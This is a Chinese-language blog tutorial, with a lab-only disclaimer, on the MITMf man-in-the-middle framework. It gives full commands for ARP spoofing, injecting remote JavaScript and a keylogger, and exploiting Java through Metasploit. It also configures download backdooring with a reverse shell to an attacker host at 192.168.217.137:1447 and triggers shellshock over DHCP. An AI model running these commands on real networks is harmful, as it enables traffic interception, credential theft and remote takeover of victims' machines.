内网劫持渗透新姿势:MITMf简要指南-LMLPHP

声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境。

0×01 题记

又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下。子曰:“长得丑就要多读书!”于是有了这篇文章。

0×02 简要介绍

这篇文章的主要目的是介绍一下一个最新的中间人攻击测试框架 – MITMf。工具的作者是byt3bl33d3r,是基于代理工具sergio-proxy修改而来。这里是工具的地址:

https://github.com/byt3bl33d3r/MITMf

关于工具的一些简介也在git的READEME中说到了。工具本身比较新,没找到中文指南,这里就写一篇文章与大家一起交流探讨。

刚一看到这个工具的时候,第一感觉不过是一个中间人攻击的集合品,也没多大兴趣。本来嘛,这个概念也已经被谈烂了。但是当我真的搭好环境开始玩的时候才发现其实这个框架还是有点意思的,可扩展性非常高。除了“劫持”的概念外,一些插件也起到了“渗透”的作用。

0×03 工具配置

MITMf不支持多系统平台,虽然是python写的,但是玩过以后才发现根本就是给linux量身做的,所以这里想玩的同学如果是win环境的话,可以考虑用虚拟机了,这里建议使用Kali/Linux。

首先git下整个框架

#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/

然后我们进行简单的安装

cd /opt/mitmf
./install-bdfactory.sh

完成之后,进行下一步的安装操作

cd bdfactory/
./install.sh

然后,运行的时候我们会发现仍然没办法启动MITMf,会提示一些模块缺失,我们按照指示说的依次用pip安装一下就可以。

这里需要注意一点,因为部分模块的源是在google上面的,pip会安装不上(如pefile),这时候可以自己去https://pypi.python.org/pypi 下载一下然后手动安装,安装命令是

python xxxx install

另外,需要自行手动安装python-nfqueue模块

sudo apt-get install python-nfqueue

0×04 基本功能:cookies盗取,dns劫持,js注入…

这时候我们应该能够成功启动mitmf了。输入./mitmf.py -h 得到以下帮助界面:

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

工具有几项基本功能:

sslstrip模块

这个我不多说大家也都能明白,默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块

主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块

清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块

十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块

该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块

这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块

可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件

枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块

可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块

一个键盘记录js,后文会有介绍

App Cache Poison

app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的进行攻击测试。是Krzysztof Kotowicz的补充模块。

Upsidedownternet

恶搞模块,让浏览者的世界翻转。

以上是工具的简单介绍,其中不少是很多功能大家都已经玩过了,所以我就单挑几个给大家展示一下。

Inject模块的注入功能

我们首先注入一个html:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

效果图

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

然后我们再注入一个js看看:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

效果图

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

然后是工具自带的keylogger的js,我们看一下效果怎么样:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger

效果图

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

经测试,密码截获DNS劫持什么的都不是问题,这里鉴于篇幅就不再展示了。

0×05 进阶玩法

以上是我们进行的一些基本的玩法,目的只是让大家看一下。功能比较基础大家用的也比较多,接下来的部分,主要给大家展示一下该框架是如何结合强大的metasploit进行“渗透”的。

(一)利用java漏洞进行攻击测试

首先,我们使用的是javapwn模块。这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url(类似:http://192.168.111.111/UIhsdaVx),使得攻击更为自然。

将metasploit打开,然后载入msgrpc模块

#msfconsole
msf > load msgrpc Pass=abc123

其他部分保持默认就好了。然后是MITMf端,输入以下命令:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137

然后我们就只需要等待就可以了,喝杯咖啡等一下。。这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。

如果顺利,我们的jar就被执行了。

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

这是开始运行等待的时候

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

成功得到shell

这两张是成功得到shell的界面。因为我的靶机中的java是最新的,msf中的payload无法溢出,只是在靶机中生成了无数的连接。所以这里的图是盗的。

(二)为PE文件注入后门实现渗透

使用Filepwn模块,与msf结合同样可以获得shell。简单说一下Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持zip和tar.gz格式解包,支持各种可执行文件。

同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --arp --gateway 192.168.217.2 --target 192.168.217.129 --filepwn

然后就是等待靶机下载文件然后执行就可以了。

最后我们的靶机执行了文件,然后msf获得到了shell。下面是最终结果:

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

点此看大图

(三)娱乐一下

最后再看一下“破壳”是如何在DHCP中起作用的

./mitmf.py --iface eth0 --spoof --dhcp --shellshock

内网劫持渗透新姿势:MITMf简要指南-LMLPHP

这里的命令可以用cmd参数自行指定。

关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

0×06 总结

这个工具其实说白了就是一个中间人攻击测试的大集合,集各种功能于一身,同时扩展了BeEF框架和Metasploit的接口,使攻击测试姿势更加丰富。而且,也十分与时俱进的扩展了网页应用的毒化功能,同时给我们带来了更多的想法:中间人攻击,真的只是劫持截包这么简单么?内网渗透真的只能靠溢出RCE方式么?能不能有更好的方式?答案是肯定的!:)

文章到这里暂时告一段落,简要介绍了几个MITMf的基础功能,更多扩展工具阅读

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/secretsquirrel/BDFProxy

如果有更好玩的东西,我会继续与大家分享。

0×07 最后的小插曲

写文章的前一天晚上,室友看我测试各种攻击测试姿势,然后看了一会儿感叹说,网络越来越不安全了,真是处处是坑,一不小心就可能中招。然后,我们相视苦笑。。。

05-02 21:23